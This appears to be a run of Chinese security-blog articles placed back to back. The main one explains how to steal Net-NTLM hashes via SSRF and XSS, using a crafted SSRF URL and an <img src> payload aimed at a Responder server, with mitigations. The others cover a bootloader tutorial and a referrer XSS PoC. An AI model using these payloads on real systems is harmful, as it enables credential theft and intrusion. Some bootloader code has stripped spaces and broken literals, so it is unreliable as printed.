3.年底了，各位同行主要保重身体，同时更要保住Job，下班了别着急回家“吃鸡”，“打农药”，看看自己的一亩三分地有没有被WiFi密码泄露给坑了。
4.建议政府机构畅通一下网络安全反馈渠道，健全反馈机制，比如找安全客合作一下什么的。白帽子想要做点好事真的好难啊，要么反馈网站错误，要么无法提交反馈，要么提交了反馈却始终不搭理你。。。。。。
## 参考：
1.基于智能手机的近源渗透案例分享——“点到为止”的测试某网络安全公司.<https://www.anquanke.com/post/id/229286>
2.双龙战记：Andrax vs. Nethunter. <https://www.anquanke.com/post/id/223493>
3.IoT环境下的渗透测试之构建高效WiFi破解字典. <https://www.anquanke.com/post/id/219315>
4.基于安卓设备的Hacking. <https://www.freebuf.com/articles/terminal/246679.html>
5.pHacking Highway Service Station.
<https://www.freebuf.com/articles/terminal/247145.html> | 社区文章 |
# 如何利用Web应用漏洞窃取NTLM哈希
##### 译文声明
本文是翻译文章，文章原作者 blazeinfosec，文章来源：blazeinfosec.com
原文地址：<https://blog.blazeinfosec.com/leveraging-web-application-vulnerabilities-to-steal-ntlm-hashes-2/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
许多企业网络中经常能看到Windows系统的身影，而NTLM身份认证机制是这些网络中所使用的事实标准。Windows进行NTLM认证时会采用自动化处理过程，许多广为人知的本地攻击方法正是利用这种自动化流程才能成功完成攻击任务，每个渗透测试人员以及红方人员的操作手册中都包含如何滥用这一功能的相关内容。
最近一段时间，Blaze信息安全团队做了些调研，研究如何通过远程方式来利用这一功能，我们更侧重于从Web应用漏洞角度出发研究相关内容。
本文的目标是讨论如何利用诸如SSRF（Server-Side Request Forgery，服务端请求伪造）以及XSS（Cross-Site
Scripting，跨站脚本攻击）之类的漏洞来窃取Net-NTLM哈希，攻击者可以使用窃取的这些哈希进一步渗透目标网络。
在本文中，我们假设读者对某些专业术语非常了解，因此不会拓展介绍某些内容，比如NTLM认证的内部工作原理、如何配置及使用某些工具来捕捉Net-NTLM哈希、如何利用XSS以及SSRF漏洞等。
所有实验都经过Blaze信息安全团队的测试，我们所搭建的实验环境包括搭载Windows 10纯净版系统的主机、Windows
7虚拟机以及充当恶意认证服务器的Ubuntu Linux系统。
## 二、关于Windows集成的认证机制
如果你曾在内部企业网络环境中使用过Windows，你会注意到访问企业网络资源的过程非常平滑，除了最开始登录Windows域之外，许多情况下你并不会看到要求输入凭据信息的弹出窗口。对许多服务而言的确如此，比如网络映射驱动器、内部网站等等。
开发者可以使用Windows [WinHTTP](https://msdn.microsoft.com/pl-pl/library/windows/desktop/aa382925\(v=vs.85).aspx)这个高级API来处理HTTP/1.1协议。除了正常功能以外，WinHTTP还可以自动处理认证过程，协商NTLM、Kerberos等认证信息以访问受保护的资源。
在微软的Internet Explorer以及Edge浏览器中，包含信任区域（trusted
zones）这样一个概念，其中包括互联网（Internet）、本地内部网（Local Intranet）、受信任的站点（Trusted
Sites）以及受限制的站点（Restricted
Sites）这几个区域。每个区域都对应不同的安全等级，关联不同的限制条件。比如对于Intranet站点而言，IE会禁用掉XSS过滤器、运行ActiveX插件、执行自动登录过程，总而言之会采用比Internet站点更加宽松的安全控制条件。
默认情况下，当某个Web服务器托管了受NTLM认证保护的资源，如果该站点位于企业内部网络中或者处于Trusted
Sites白名单中，那么IE以及Edge会自动处理认证过程，这也与受信区域的概念相符。
其他浏览器（如Mozilla Firefox以及Google
Chrome）同样支持自动化NTLM登录过程。Chrome依赖于IE的具体配置情况，而Firefox默认情况下并没有启用这一配置，用户需要访问`about:config`来手动启用这一功能。
## 三、关于Responder
Responder[1]由Laurent
Gaffie开发，这款工具是目前最为流行的一款arsenal渗透测试工具，每个渗透测试人员基本上都会使用该工具来窃取不同形式的凭据信息，其中就包括Net-NTLM哈希。
该工具可以用来搭建一些模拟的恶意环境，如SQL服务器、FTP/HTTP以及SMB服务器等，为了捕获客户端发送的哈希值，该工具可以直接弹出输入凭据的对话框，也可以模拟挑战-响应（challenge-response）认证过程。
Responder也具备污染诸如LLMNR、NBT-NS以及mDNS等协议的能力，但这一部分内容不在本文讨论范围内。
## 四、如何利用Web应用漏洞窃取信息
最近一段时间，我们做了些调查，研究如何进一步利用Web应用中的漏洞来获取目标网络的访问权限，我们的主要依据是，在某些条件下，Windows在请求凭据过程中可能会返回包含NTLM哈希的响应数据。
这里我们要介绍的是Web应用中经常见到的两个漏洞，以及我们如何利用这些漏洞来窃取哈希值，突破目标账户，进而在企业网络中站稳脚跟。
### 场景#1：从SSRF到哈希窃取
攻击者经常利用SSRF漏洞往其他服务器发送HTTP请求并扫描内部网。实际上，我们也可以使用这个漏洞，迫使存在漏洞的Web应用泄露底层Windows服务器的NTLM哈希。
这里我们构建了存在SSRF漏洞的一个[Flask应用](https://github.com/blazeinfosec/ssrf-ntlm/blob/master/ssrf.py)，以便更好阐述相关技术细节。这个应用的功能非常简单：它使用了一个URL参数，当攻击者将任何站点（不论该站点为是否为内部站点（[http://intranet.corporate](http://intranet.corporate/)）或者外部站点（[http://www.blazeinfosec.com](http://www.blazeinfosec.com/)））传递给该参数时，该应用都会发送HTTP请求，获取目标资源，并将已获取的数据返回给客户端。
该[应用](https://github.com/blazeinfosec/ssrf-ntlm/blob/master/testntlm.java)依赖于Python的win32com模块。添加该模块后，开发者可以调用COM对象，使用原生的[WinHTTP.WinHTTPRequest](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384106\(v=vs.85)来发起HTTP请求，由于其中的[
**SetAutoLoginPolicy**](https://msdn.microsoft.com/en-us/library/windows/desktop/aa383144\(v=vs.85)参数值设置为0，因此该函数会自动发送凭据信息。
某些框架的URL资源获取功能并没有与Windows紧密集成在一起，因此并不会像这个演示案例那样执行自动登录过程，这一点很重要。然而，Java的[URLConnection()](https://github.com/blazeinfosec/ssrf-ntlm/blob/master/testntlm.java)以及其他函数可以完成这一任务。
浏览如下URL地址后，我们就能利用这个漏洞，获取用户的Net-NTLM哈希值：
http://127.0.0.1:8000/?url=http://server_listening_responder
在后台处理过程中，会执行如下操作：
1、Windows API会发送一个HTTP请求；
2、服务器（本例中为Responder）会向客户端发送响应数据，响应数据头部中包含`WWW-Authenticate:
NTLM`字段，提示用户使用NTLM进行认证；
3、客户端（本例中为服务器上运行的存在漏洞的Web应用）会响应这个挑战问题，因此攻击者就可以抓取到服务器的Net-NTLM哈希值。
最终的结果就是攻击者成功抓取到Net-NTLM凭据：
虽然Net-NTLM哈希值与NTLM哈希值不同，无法直接应用于哈希传递（Pass-the-Hash，PtH）攻击，但我们可以使用诸如hashcat之类的现成工具来二次开发或者破解这些哈希：
### 场景#2：利用XSS窃取Net-NTLM哈希
前面我们提到过，当Web服务器要求IE或者Edge使用NTLM凭据时，如果使用的是默认配置，那么浏览器会执行挑战-响应验证过程，并将已登录用户的哈希值发往服务器，当然，前提是目标站点的域名位于企业内部网络中，或者位于Trusted Sites列表中。
当IE自动登录内部网站时，对应的默认配置信息如下所示：
许多情况下，企业会将企业域添加到内部可信站点中，典型例子如下所示：
这意味着如果你对内部网中的某个Web应用做渗透测试，并且你发现该应用存在XSS漏洞，那么你很有可能可以利用这个看似鸡肋的漏洞来窃取哈希值。
比如，攻击者可以诱使企业环境中的用户浏览某个Web页面，该页面包含如下HTML代码：
<html>
<img src="http://hostname_to_internal_responder">
</html>
如果Responder搭建的HTTP服务器运行在内部网络中，并且其主机名或者子域名被标记为可信站点（许多场景都满足这一要求），那么IE或者Edge就会自动发送哈希值。
从XSS到窃取NTLM哈希的攻击步骤如下所示：
步骤1：设置Responder，在本地网络中以HTTP模式运行：通常情况下，企业网络中你所使用的IP地址会对应一个反向DNS域名，这意味着你可以拥有一个可用的主机名。
步骤2：在XSS攻击载荷中输入如下类似数据：
<img src="http://hostname_to_internal_responder">
步骤3：等待无辜的受害者上钩，浏览受XSS影响的页面（如果是存储型XSS则会更加方便）。
步骤4：抓取哈希值。
通常情况下，许多企业会将企业子域名所托管的所有数据标记为可信数据。比如，如果`*.blazeinfosec.com`位于白名单中，那么攻击者只需要搞定`*.blazeinfosec.com`中的某个服务器，使用该服务器运行Responder，那么就可以通过这种攻击方式，使用该服务器来窃取企业网络中的用户哈希。
如果客户端尝试使用NTLM认证机制连接到HTTP服务器，但目标主机名并不位于IE或者Edge浏览器的可信列表中，那么就会弹出如下对话框，要求用户输入凭据信息。
## 五、缓解措施
本文描述的这类问题并不新颖，实际上这些问题可以归咎于Windows的设计理念。从诞生之日起，NTLM一直采用的是这种认证过程，其中某些漏洞人们已经于20多年前讨论过，然而许多人并没有意识到这些漏洞存在的安全风险。
与此同时，我们还是可以使用各种方法来消除Windows这种缺陷所带来的影响。
比如，我们可以将注册表中`HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaMSV1_0`路径下的
**RestrictSendingNTLMTraffic** 键值设置为 **2**
，这样一来，当服务器发起挑战过程时（无论为合法或者非法的服务器），Windows都不会发送NTLMv1或者NTLMv2哈希。
然而，需要注意的是这样设置后可能会破坏正常的系统功能，如果企业网络大量依赖于NTLM来实现自动登录，带来的不便可能会更加明显。
在与SSRF相关的场景中，我们建议不要使用能自动完成NTLM认证的HTTP库。另一种方法是在企业代理网关中设置相应规则，阻止本网络中的节点与外部服务器进行NTLM身份验证。
## 六、总结
如果某个单位依赖于Windows系统以及微软系的其他产品，那么NTLM认证可以给该单位带来极大的便利。如果部署单点登录（single sign-on）机制，用户在访问不同的企业系统时也可以实现无缝过渡，这样既能提升用户的工作效率，也能减少冗余身份认证所带来的负担。
尽管如此，NTLM认证过程依然存在一些安全风险，这些安全风险虽然已有20多年历史，但依然占据一席之地。
对于渗透测试人员而言，找到SSRF漏洞后，可以考虑将其指向运行Responder监听器的某个服务器。一旦通过这种方法获取到NTLMv1或者NTLMv2哈希值，就有可能进一步渗透目标网络。
开发者以及风险评估人员不应低估内部应用中XSS漏洞所能带来的安全风险。大家应该重新回顾内部应用的错误跟踪日志，分析其中包含XSS漏洞、带有WONT_FIX标识的错误信息，妥善解决这些问题。因为除了简单弹出对话窗口以及窃取会话cookie之外，这些问题还可以带来更严重的后果。
当然，将看似鸡肋的XSS漏洞转化为能在企业网络中实际使用的攻击方法本身就是一件非常有意义的事情。
## 七、参考资料
[1] <https://github.com/lgandx/Responder>
[2] <https://msdn.microsoft.com/en-us/library/ms775123%28v=vs.85%29.aspx>
[3] <https://github.com/blazeinfosec/ssrf-ntlm> | 社区文章 |
# 【技术分享】如何开发自定义的Boot Loader
|
##### 译文声明
本文是翻译文章，文章来源：codeproject.com
原文地址：<https://www.codeproject.com/Articles/36907/How-to-develop-your-own-Boot-Loader>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在本文中，我们以一个简单的boot loader开发过程为例，简单介绍了如何使用低级语言完成自定义boot loader的开发。
读者可访问[此处](https://www.codeproject.com/KB/tips/boot-loader/bootloader.zip)下载我们创建的自制boot loader。
**一、目标读者**
****
首先需要明确的是，这篇文章是为始终对不同事物的工作原理保持兴趣的那些人而准备的。具体说来，如果你是一名开发者，经常使用类似C、C++或Java之类的高级语言来开发应用程序，但有时依然需要使用低级语言来开发，那么你正是本文的目标受众。在本文中，我们会以具体案例，介绍低级编程语言在系统加载过程中的应用。
本文会分析计算机启动后的工作流程以及系统加载的具体过程，介绍如何开发自制的boot loader，而boot loader正是系统启动过程的第一个落脚点。
**二、什么是Boot Loader**
****
**Boot Loader**
是位于硬盘第一个扇区的程序，该扇区也是系统开始启动的扇区。在主机加电后，BIOS会自动将第一个扇区的所有内容读入内存，然后跳转到相应位置。第一个扇区也称之为
**主引导记录** （Master Boot
Record）。实际上硬盘的第一个扇区没必要非得用来引导，只是历史上开发者使用这种机制来引导他们的操作系统，久而久之这个习惯就保留了下来。
**三、深入分析**
****
在这一部分，我会向大家介绍开发自制的boot loader所需要的背景知识以及相关工具，顺便也会介绍有关系统启动的一些背景知识。
**3.1 自制Boot Loader所需掌握的语言**
在计算机工作的第一个阶段，对硬件的控制主要是通过 **中断**
（interrupt）这个BIOS功能来实现的。中断功能的实现代码仅有汇编语言版本，因此如果你有一点汇编语言的功底是再好不过的一件事。不过这也不是一个非满足不可的条件，因为我们可以使用“混合代码（mixed
code）”这种技术，这种情况下，我们可以将高级语言结构与低级语言命令结合在一起，减轻任务的复杂度。
本文所使用的开发语言主要是C++。如果你对C已经了如指掌，那么学习所需的C++知识肯定易如反掌。通常情况下，单单掌握C语言就已经足够，但此时你还需要修改我给出的示例代码。
如果你非常熟悉Java或C#，很不幸地告诉你，这一技能对我们的任务毫无帮助。症结在于Java和C#代码经过编译后生成的是中间代码，需要使用专门的虚拟机（对Java来说是Java
Machine，对C#来说是.NET）来处理这些代码，以便将中间代码转化为处理器指令。只有经过转化代码才能执行。这种实现机制导致这些语言无法使用混合代码技术，而
**混合代码技术是我们用来减轻任务工作量不得不使用的技术** ，因此Java及C#不适应这种使用场景。
因此，为了开发自制的boot
loader，你需要了解C或C++语言，如果能知道关于汇编语言的一些知识那再好不过，因为所有的高级语言代码最后都会转化为汇编语言。
**3.2 所需的编译器**
为了使用混合代码技术，你至少需要两种编译器： **汇编语言以及C/C++编译器**
，你也需要链接器（linker）将对象文件（.obj）连接到可执行文件中。
现在我们来讨论一些特别的细节。处理器在功能上有两种模式：实模式（real mode）以及保护模式（protected
mode）。保护模式为32位，完全用于操作系统的运行流程。当主机启动时，处理器处于16位工作模式下。因此，为了构建应用程序并生成可执行文件，你需要16位模式下汇编语言的编译器以及链接器。对于C/C++而言，你只需要能够创建16位模式下对象文件的编译器。
现在流行的编译器仅适用于32位应用程序，因此我们无法使用这些编译器。
我尝试了一些免费以及商业版本的16位模式编译器，最终选择使用微软出品的编译器。微软在Visual Studio
1.52软件包中集成了汇编语言、C以及C++的编译器及链接器，我们也可以从微软官网上下载这些工具。我们所需的编译器具体版本信息如下所示：
* **ML 6.15** ：微软出品的16位模式汇编语言编译器。
* **LINK 5.16** ：用来创建16位模式的.com文件的链接器。
* **CL** ：16位模式下C以及C++的编译器。
你也可以使用一些替代工具：
* **DMC** ：Digital Mars出品的一款免费编译器，可作为16位以及32位模式下的汇编语言、C以及C++编译器。
* **LINK** ：DMC编译器的免费版链接器。
此外，Borland也出品了一些工具：
* **BCC 3.5** ：可以创建16位模式下文件的C以及C++编译器。
* **TASM** ：用于16位模式的汇编语言编译器。
* **TLINK** ：可以创建16位模式下.com文件的链接器。
本文涉及的所有代码均使用了微软的工具进行编译构建。
**3.3 系统启动过程**
为了完成我们既定的任务，我们需要回想一下系统的启动过程。
让我们简单思考一下，系统在启动时，各系统组件之间的交互过程，如图1所示。
图1.系统启动过程
当控制权移交给0000:7C00地址时， **主引导记录（MBR）**
开始工作，触发操作系统引导过程。你可参考[此处链接](http://en.wikipedia.org/wiki/Master_boot_record)了解MBR结构的详细信息。
**四、编写代码**
****
在下一节中，我们将直接面对低级语言，也就是说，我们即将开发自己的boot loader。
**4.1 程序架构**
我们开发的boot loader仅用于教学目的，其任务只包含以下几点：
1\. 正确载入内存中0000:7C00地址处。
2\. 调用BootMain函数，该函数使用高级语言实现。
3\. 以底层信息形式在显示器上显示“Hello, world…”信息。
程序架构如图2所示。
程序架构中，第一个实体是StartPoint，该实体完全由汇编语言开发而成，因为高级语言不具备我们所需的那些指令。StartPoint会告诉编译器应该使用什么内存模型，以及从磁盘读取数据后，需要将数据加载到RAM中的哪个地址。StartPoint也会校正处理器的寄存器，将控制权交给BootMain，后者使用高级语言编写而成。
作为下一个实体，BootMain的功能与main类似，也就是说，该实体是集中了所有程序功能的主函数模块。
CDisplay以及CString类负责程序的功能部分，会在屏幕上显示相应信息。如图2所示，CDisplay类在在工作过程中使用了CString类。
**4.2 开发环境**
在本文中，我使用的是标准的开发环境：Microsoft Visual Studio
2005或者2008开发环境。当然读者也可以使用其他工具，但经过某些设置后，使用这两个工具可以让程序的编译及运行更加简单也更加方便。
首先，我们需要创建一个Makefile Project类型的工程，该工程负责主要工作（如图3所示）。
依次选择如下菜单：
File->NewProject->GeneralMakefile Project
图3. 创建Makefile类型工程
**4.3 BIOS中断及屏幕清理**
为了能在屏幕上显示我们的信息，我们首先应该清除屏幕上已有的信息。我们需要使用特定的BIOS中断来完成这一任务。
为了与视频适配器、键盘、硬盘系统之类的计算机硬件交互，BIOS提供了许多类型的中断。每种中断都具备如下类型的结构：
int [number_of_interrupt];
其中，number_of_interrupt代表的是中断的序号。
每种中断都包含特定数量的参数，在调用中断前必须设置这些参数。ah处理器寄存器始终用来负责当前中断的函数序号，其他寄存器通常用于处理当前操作所用的其他参数。让我们分析下汇编语言中int
10h中断的执行过程。我们使用00函数来改变视频模式，也用来清除屏幕：
mov al, 02h ; setting the graphical mode 80x25(text)
mov ah, 00h ; code of function of changing video mode
int 10h ; call interruption
在我们的应用程序中，我们只会使用这些中断以及函数。我们需要使用如下代码：
int 10h, function 00h – performs changing of video mode and clears screen;
int 10h, function 01h – sets the cursor type;
int 10h, function 13h – shows the string on the screen;
**4.4 代码混合**
C++编译器支持内嵌汇编语言，也就是说，当我们使用高级语言编写代码时，我们同时也可以使用低级语言。在高级语言代码中使用的汇编指令也可以称为
**asm插入** 。为了实现asm插入，我们需要包含__asm关键词，并将汇编代码用大括号包裹起来：
__asm ; key word that shows the beginning of the asm insertion
{ ; block beginning
… ; some asm code
} ; end of the block
为了演示混合代码，我们可以将前面用来清除屏幕的汇编代码与C++代码结合在一起。
void ClearScreen()
{
__asm
{
mov al, 02h ; setting the graphical mode 80x25(text)
mov ah, 00h ; code of function of changing video mode
int 10h ; call interrupt
}
}
**4.5 CString实现**
CString是用来处理字符串的一个类。类中包含了一个Strlen()方法，传入字符串指针，可以返回字符串中字符的数量。
// CString.h
#ifndef __CSTRING__
#define __CSTRING__
#include "Types.h"
class CString
{
public:
static byte Strlen(
const char far* inStrSource
);
};
#endif // __CSTRING__
// CString.cpp
#include "CString.h"
byte CString::Strlen(
const char far* inStrSource
)
{
byte lenghtOfString = 0;
while(*inStrSource++ != '')
{
++lenghtOfString;
}
return lenghtOfString;
}
**4.6 CDisplay实现**
CDisplay是用来处理屏幕相关功能的一个类，包含如下几个方法：
1\. TextOut()：用来在屏幕上打印字符串。
2\. ShowCursor()：用来管理屏幕上鼠标的显示状态，即显示（show）或隐藏（hide）状态。
3\. ClearScreen()：修改视频模式，从而清除屏幕。
// CDisplay.h
#ifndef __CDISPLAY__
#define __CDISPLAY__
//
// colors for TextOut func
//
#define BLACK0x0
#define BLUE0x1
#define GREEN0x2
#define CYAN0x3
#define RED0x4
#define MAGENTA0x5
#define BROWN0x6
#define GREY0x7
#define DARK_GREY0x8
#define LIGHT_BLUE0x9
#define LIGHT_GREEN0xA
#define LIGHT_CYAN0xB
#define LIGHT_RED 0xC
#define LIGHT_MAGENTA 0xD
#define LIGHT_BROWN0xE
#define WHITE0xF
#include "Types.h"
#include "CString.h"
class CDisplay
{
public:
static void ClearScreen();
static void TextOut(
const char far* inStrSource,
byte inX = 0,
byte inY = 0,
byte inBackgroundColor = BLACK,
byte inTextColor = WHITE,
bool inUpdateCursor = false
);
static void ShowCursor(
bool inMode
);
};
#endif // __CDISPLAY__
// CDisplay.cpp
#include "CDisplay.h"
void CDisplay::TextOut(
const char far* inStrSource,
byte inX,
byte inY,
byte inBackgroundColor,
byte inTextColor,
bool inUpdateCursor
)
{
byte textAttribute = ((inTextColor) | (inBackgroundColor << 4));
byte lengthOfString = CString::Strlen(inStrSource);
__asm
{
pushbp
moval, inUpdateCursor
xorbh, bh
movbl, textAttribute
xorcx, cx
movcl, lengthOfString
movdh, inY
movdl, inX
mov es, word ptr[inStrSource + 2]
mov bp, word ptr[inStrSource]
movah,13h
int10h
popbp
}
}
void CDisplay::ClearScreen()
{
__asm
{
mov al, 02h
mov ah, 00h
int 10h
}
}
void CDisplay::ShowCursor(
bool inMode
)
{
byte flag = inMode ? 0 : 0x32;
__asm
{
mov ch, flag
mov cl, 0Ah
mov ah, 01h
int 10h
}
}
**4.7 Types.h实现**
Types.h是一个头文件，包含数据类型以及宏的定义。
// Types.h
#ifndef __TYPES__
#define __TYPES__
typedef unsigned char byte;
typedef unsigned short word;
typedef unsigned long dword;
typedef char bool;
#define true 0x1
#define false 0x0
#endif // __TYPES__
**4.8 BootMain.cpp实现**
BootMain()是程序的主功能函数，也是第一个入口点（类似于main()）。程序的主要功能实现位于该函数中。
// BootMain.cpp
#include "CDisplay.h"
#define HELLO_STR ""Hello, world…", from low-level..."
extern "C" void BootMain()
{
CDisplay::ClearScreen();
CDisplay::ShowCursor(false);
CDisplay::TextOut(
HELLO_STR,
0,
0,
BLACK,
WHITE,
false
);
return;
}
**4.9 StartPoint.asm实现**
;------------------------------------------------------------ .286 ; CPU type
;------------------------------------------------------------ .model TINY ; memory of model
;---------------------- EXTERNS ----------------------------- extrn_BootMain:near ; prototype of C func
;------------------------------------------------------------ ;------------------------------------------------------------
.code
org07c00h ; for BootSector
main:
jmp short start ; go to main
nop
;----------------------- CODE SEGMENT ----------------------- start:
cli
mov ax,cs ; Setup segment registers
mov ds,ax ; Make DS correct
mov es,ax ; Make ES correct
mov ss,ax ; Make SS correct
mov bp,7c00h
mov sp,7c00h ; Setup a stack
sti
; start the program
call _BootMain
ret
END main ; End of program
**
**
**五、编写汇编代码**
****
**5.1 创建COM文件**
现在，在编写代码时，我们需要将代码转化为16位操作系统中可用的文件。这些文件是 **.com文件**
。我们可以通过命令行运行每个编译器（即汇编语言编译器、C及C++编译器），输入必要的参数，然后生成几个目标文件。下一步我们需要启动链接器，将所有.obj文件转化为可执行的.com文件。这是可行的工作方式，但做起来不是特别容易。
我们可以自动化完成这个过程。为了实现自动化，我们创建了.bat文件，将命令及必要的参数输入脚本文件中。应用程序汇编处理的完整过程如图4所示。
图4. 程序编译过程
**Build.bat**
现在，我们需要将编译器以及链接器放在当前工程目录中。在同一个目录下，我们创建了.bat文件，根据演示需求往文件中添加适当命令（你可以将其中的VC152替换为编译器及链接器所在的那个目录名）：
.VC152CL.EXE /AT /G2 /Gs /Gx /c /Zl *.cpp
.VC152ML.EXE /AT /c *.asm
.VC152LINK.EXE /T /NOD StartPoint.obj bootmain.obj cdisplay.obj cstring.obj
del *.obj
**5.2 自动化汇编**
作为本节的最后一部分，我们将介绍如何设置微软的Visual Studio
2005/2007，让其支持任意编译器，使其成为合适的开发环境。让我们跳转到工程属性，依次选择如下菜单：Project->Properties->Configuration
PropertiesGeneral->Configuration Type
**Configuration Properties** 选项卡包含三个选项： **General、Debugging** 以及 **NMake** 。转到
**NMake** 选项，将 **Build Command Line** 以及 **Rebuild Command Line** 字段设置为
**build.bat** ，如图5所示。
图5. NMake工程设置
如果一切进展顺利，那么你就可以使用熟悉的 **F7** 或者 **Ctrl + F7**
方式来编译工程，所有的输出信息都会在Output窗口中显示。这样做的主要优点不仅在于能够自动化完成汇编工作，当代码出现错误时，这样做也能快速定位错误代码。
**六. 测试及用例展示**
****
本节主要介绍的是如何查看boot loader的引导效果，测试并调试boot loader。
**6.1 如何测试boot loader**
你可以在真实的硬件上测试boot loader，也可以使用专用的VMware虚拟机来完成这一任务。使用真实的硬件进行测试时，你可以确保boot
loader能够正常工作，而使用虚拟机进行测试时，你只能得出boot
loader可以工作的结论。当然，我们可以说VMware是测试及调试的绝佳选择。在本文中，这两种方法都会涉及到。
首先，我们需要一个工具，以便将我们的boot
loader写入虚拟磁盘或物理磁盘上。据我所知，有一些免费或者商业的基于控制台或者GUI的应用程序能够完成这一任务。对于Windows系统，我选择的是
**Disk Explorer for NTFS 3.66** 这个工具（适用于FAT的版本为Disk Explorer for FAT），对于MS-DOS系统，我选择的是 **Norton Disk Editor 2002** 。
在这里我只会介绍Disk Explorer for NTFS 3.66这个工具，因为使用该工具是满足我们的需求的最为简单的一种方法。
**6.2 使用VMware虚拟机进行测试**
**6.2.1 创建虚拟机**
我们需要5.0、6.0或者更高版本的VMware程序。为了测试boot
loader，我们需要创建一个新的虚拟机，磁盘大小设为最小（如1Gb）。将硬盘格式化为NTFS文件系统。现在我们需要将格式化后的硬盘映射到VMware中的虚拟磁盘。依次选择如下菜单：
**File- >Map or Disconnect Virtual Disks…**
之后就会弹出一个窗口，这里我们需要点击“Map”按钮。在弹出窗口中，我们需要将路径设置为硬盘所在的路径。然后我们需要指定硬盘的盘符。如图6所示。
图6. 设置虚拟磁盘映射参数
不要忘记勾掉 **“Open file in read-only mode (recommended)”**
复选框。选中该复选框则意味着硬盘会以只读模式打开，阻止写入操作以避免数据损坏。
之后我们可以像使用Windows逻辑磁盘那样来使用虚拟机的磁盘。现在我们需要使用Disk Explorer for NTFS 3.66,将boot
loader写入到物理偏移为0的地址处。
**6.2.2 使用Disk Explorer for NTFS**
程序启动后，我们需要转到我们的那个磁盘（ **File- >Drive**）。在弹出窗口中，转到“Logical
Drives”部分，选择包含特定盘符的那个硬盘（本例中为Z盘），如图7所示。
图7. 在Disk Explorer for NTFS中选择磁盘
现在，在菜单栏中选择 **View** 以及 **As Hex**
命令，在生成的窗口中，我们可以看到以16进制呈现的硬盘数据，硬盘数据按扇区和偏移量进行分隔。从窗口中我们发现一堆的0，因为此时此刻硬盘是个空硬盘。第一个扇区情况如图8所示。
图8. 硬盘第1个扇区的数据
现在我们应该将我们的boot loader写入第一个扇区中。将光标设定在00处，如图8所示。为了复制boot loader，我们使用 **Edit**
菜单项，选择 **Paste from file** 命令。在打开的窗口中，指定文件的路径，然后点击 **Open**
按钮。之后，第一个扇区的内容应该会发生改变，如图9所示（如果你没有修改代码，那么扇区数据肯定会发生改变）。
你还需要在距离扇区起始位置的1FE偏移处写入55AAh特征数据。如果不这么做，BIOS会检查最后两个字节，找不到这个特征后，会将该扇区视为不可引导扇区，不会将其读入内存。
要想切换回编辑模式，你可以按下 **F2** 键，再写入55AAh这个特征数据，然后按下 **Esc** 键离开编辑模式。
接下来我们需要确认数据写入情况。
图9.引导扇区数据
要完成数据写入，我们需要转到 **Tools- >Options**，在弹出窗口中，选择 **Mode** 子项，选择写入方式（为 **Virtual
Write** ），点击 **Write** 按钮，如图10所示。
之后程序会经过一系列的操作，完成写入过程，现在我们可以看到从本文开头就一直在开发的研究成果。回到VMware中，断开虚拟磁盘（选择 **File->Map**或者 **Disconnect Virtual Disks…** ，然后点击 **Disconnect** ）。
现在我们可以试着启动虚拟机。我们可以看到屏幕中出现了我们熟悉的那个字符串： **“Hello, world…”, from low-level…**
。如图11所示。
**6.3 在真实硬件上进行测试**
在真实硬件上的测试过程与在虚拟机上的测试过程非常类似，只不过此时如果某些功能无法正常工作，相对比简单地创建新的虚拟机，你可能需要花费更多的时间才能修复出现的问题。在测试boot
loader时，为了避免造成数据损坏（一切都有可能发生），我建议你使用闪存驱动器（flash
drive），但首先你需要重启计算机，进入BIOS，检查BIOS是否支持从闪存驱动器启动。如果支持，那么一切都会非常顺利，如果不支持，那么测试过程还是仅限于虚拟机环境比较好。
使用Disk Explorer for NTFS 3.66将boot
loader写入闪存驱动器中与虚拟机的写入过程相同。你只需要选择硬盘驱动器本身，而不是选择硬盘驱动器的逻辑分区来完成写入过程即可。如图12所示。
图12.选择物理期盼作为目标设备
**6.4 调试**
如果整个过程中出现问题（通常都会发生这种情况），你需要某些工具来调试boot
loader。我想说的是，这是非常复杂、非常烦人同时又非常耗时的一个过程。你需要在汇编机器码中遨游，因此你需要熟练掌握这门语言。我列了一些工具，仅供参考：
1\. **TD (Turbo Debugger)** ：Borland出品的用于16位实模式的非常好的一个调试器。
2\. **CodeView** ：微软出品的用于16位模式的非常好的一个调试器。
3\. **Bocsh** ：虚拟机程序模拟器，包含机器命令调试器。
**七、参考资料**
****
**Kip R. Irvine** 写的 **"Assembly Language for Intel-Based Computers"**
这本书非常好，详细介绍了计算机的内部结构以及汇编语言的开发细节，从中你也能找到如何安装、配置及使用MASM 6.15编译器的相关信息。
你也可以访问<http://en.wikipedia.org/wiki/BIOS_interrupt_call>了解BIOS中断列表。
**八、总结**
****
在本文中，我们介绍了boot
loader的基本知识、BIOS的工作原理、系统启动时系统各组件之间的交互过程等信息。在实践部分，我们介绍了如何开发一个简单的自定义的boot
loader。我们介绍了混合代码技术，也介绍了如何使用微软的Visual Studio 2005、2008来自动化完成程序的汇编过程。
当然，与低级编程语言方面翔实的参考资料相对比，本文只能算九牛一毛，但如果能引起广大读者的兴趣就已足够。
读者可以参考[Apriorit](http://www.apriorit.com/case-studies.html)网站了解更多研究成果。 | 社区文章 |
原文链接: http://mksben.l0.cm/2016/10/xss-via-referrer.html
原作者： **Masato Kinugawa**
译者： **Holic (知道创宇404安全实验室)**
自从 Windows 10 发布周年更新版本后，微软貌似在 IE11 和 Edge 上杜绝了一些 XSS 技巧。referrer的行为便是其中之一。
下面的这个页面之间将 `HTTP_REFERER` 和 `document.referrer` 写进了页面里面：
https://vulnerabledoma.in/xss_referrer
之前的IE/Edge版本并没有编码`"<>`字符，因此我们能直接利用以下的 PoC 施展 XSS 攻击：
https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>
但自从 Windows 10 周年更新之后， IE11 和 Edge 浏览器对它进行了编码。然后将会在页面中得到以下编码过的字符串：
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
太糟了。
当然使用 Win8.1/7 的 IE11 依然受影响。但我们难道不想在Win10上进行 XSS 吗？
现在我来分享一个小技巧，在最新版 Win10 Edge/IE11 上利用 referrer 进行 XSS。
